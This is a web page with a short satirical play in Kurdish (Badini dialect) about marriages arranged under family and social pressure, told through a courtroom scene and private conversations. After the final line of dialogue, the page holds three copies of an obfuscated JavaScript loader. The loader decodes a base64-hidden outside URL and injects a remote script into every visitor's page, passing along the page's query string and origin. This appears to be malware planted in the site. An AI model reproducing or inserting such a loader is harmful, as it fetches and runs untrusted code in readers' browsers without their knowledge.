شانۆیە چیرۆك

عبدالرحمن بامەرنی

دیمەنێ ئێكێ:
دیمەن هۆلا دادگەهێ یە و ژبلێ دادوەری، كچەك و كوڕەك و بابێ كچێ و بابێ كوڕی د روونشتینە.
ـ دادوەر: تە ئەڤ كوڕە دڤێت؟
ـ كچ: من چ سەربۆرێن ڤیانێ نینن، ببۆرە ئەز نەشێم بەرسڤا تە بدەم.
دادوەر: تە ئەڤ كچە دڤێت؟
ـ كوڕ: ئەز چ ژ ڤیانێ نزانم، لێ ئەڤە ل ژێر فشارا جڤاكییە و دڤێت هەڤژینیێ دگەل كچەكێ پێكبینم.
دادوەر: تو هزردكەی كچا تە یا بەرهەڤە و ئایا دێ شێت هەڤژینیێ دگەل كوڕەكی پێكبینیت؟
بابێ كچێ: بۆ سالێن درێژ من كچا خوە یا پەروەردەكری، كارێ لێنانێ و پاقژكرنێ و شووشتنێ دزانیت، باوەرناما خوە یا زانینگەهێ ژی یا هەی.
دادوەر: كوڕێ تە دێ شێت بەرپرساتیا هەڤژینیێ هەلگریت؟
بابێ كوڕی: كوڕێ من ژی دەرچوویێ زانینگەهێ یە و كارێ خوە یێ هەی و شقا خوە ژی یا هەی.

دیمەنێ دویێ:
دڤیابا ئەڤ دیمەنە، بەری دیمەنێ ئێكێ هاتبایە نمایشكرن..!
كورك: ئایا تە دڤێت هەڤژینیێ دگەل من پێكبینی؟
كچ: ئەز نزانم، دبیت مەبەستا من بتنێ ئەو بیت ناڤێ زەلامەكی بهێتە سەر من، تایبەت دەما وان تشتان دخوینم یێ بەحسا مەترییا قەیرەبوونێ دكەن یان ژ چاڤێن فاتوویا جیرانا مە رزگار بم یان خفشا سەرێ مەحەلێ و چەند جارەكێ چاڤێن وێ بمن دكەڤن، لاڤا دكەت، كو خودێ رزقەكی بۆ من پەیدا بكەت و ئەڤە ژبلی من دڤێت بزانم هەستێ دایكینیێ یێ چاوانە و دیسان هندەك جاران چاڤێن من دچنێ، دەما بەحسا پەیوەندییا دناڤبەرا ژن و زەلاماندا دهێتەكرنێ.
كچ: پا تە بۆ دڤێت هەڤژینیێ پێكبینی؟
كوڕ: هەمان بەرسڤێن تە، ئەڤە ژبلی تێركرنا غەریزێن سكسی و دا ڤەجەمێیمە مالێ و ژ فشارێن بابێ خوە رزگار بم، هندی دبێژیتە من بۆ خوە سەحكە كچەكێ بۆ تە بخوازین. دیسان دا كەسەك هەبیت كارێن مالێ برێڤە بەت و دەما دزڤرمە مالێ، خوارن یا بەرهەڤ بیت و چاڤ خوە بدەتە كێماسیێن مالێ.
كچ: تو بێژی ئەز بۆ تە یا گونجای بم؟
كوڕ: ئەز نزانم، لێ دێ شێم وان هەمی ڤالاهیان لدەف تە نەهێلم یێن تە گۆتین، ناڤێ من دێ هێتە سەرناڤێ تە وەك هەڤژین. دێ ژ مەترسیا قەیرەبوونێ رزگار بی. ئێدی پێدڤی دلپێڤەمانا فاتوویا جیرانا تە نامینیت و پێدڤی لاڤایێن خفشا سەرێ مەحەلێ ناكەت و ئەگەر خودێ حەزكر، دێ بیە دایك و ئەڤە ژبلی، دێ زەلامەك هەبیت و چ دی پێدڤی ب پس پستێن بەر دیوارێن ژنان نەبی، دەما بەحسا شەڤێ و خوە و هەڤژینیێن خوە دكەن.
كوڕ: پا تو سالوخەتێن وی زەلامی دمندا دبینی، یێ تە دڤێت؟
كچ: لدویڤ ئەڤێن تەگۆتین، ئەز دێ شێم بمە هەڤژینا تە و چاێن تە تێركەم و ەگەر خودێ حەزكر، دێ بمە دایكا زارۆكێن تە و ئێدی فشارێن بابێ تە و یێن كەسێ ل سەر تە نەمینن كو پێدڤیە ب ژن بكەڤی. دیسان من شیانێن برێڤەبرنا مالەكێ یێن هەین، كارێ ناڤمالێ، لێنان، پاقژكرن و شووشتن ژی لدەف من چ كێشە نینن.

دیمەنێ سیێ:
دادوەر: لدویڤ ئاخفتنێن كوڕ و كچان و بابێن وان و دیدەڤانان و ئەوا ل بەر دەستێ مە، ئەز ژیانا هەڤژینیێ ل هەوە پیروز دكەم.

دیمەنێ دووماهیێ:
هەر چەندە پێدڤی نمایشا ڤی دیمەنی نەدكر، لێ ل بن فشارا كۆمەلگەهی كو پیڤانێن خوە یێن شەرمێ، یێن ئاینی، یێن عەشیرێ هەنە، دێ نەچاری بلاڤكەین:
كوڕ: سلاڤ مام تو چاوانی؟
زەلام: ئەز گەلەك باشم ئەز دشێم چ هاریكارا تە بكەم؟
كوڕ: من كچا تە یا دیتی و دلێ من یێ كەفتیێ، ئەگەر دلێ وێ ژی كەفتە من و ئەگەر ژ تەڤە دەستویری بیت، من دڤێت هەڤژینیێ دگەل پێكبینم.
زەلام: تە چ خواندییە و تو چ كاردكەی و ئایا دێ شێی كچا من ب خودان كەی؟
كوڕ: بەلێ من زانینگەه یا ب دووماهی ئینای و ئەز كاردكەم و من شیانێن ب خودانكرنا وێ یێن هەین.
زەلام: تە دگەل ئاخفتیە، وێ تو دیتییە؟
كوڕ: ئەگەر ژتەڤە دەستیری بیت، ئەز دشێم دگەل تە بهێمە مالێ و دگەل كچا تە روینمە خوارێ و ئەز و ئەو دشێین زێدەتر دئێكوو دو بگەهین، كا ئەم دێ شێین بەردەوامیێ ب ڤێ چەندێ دەین یان نە؟(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە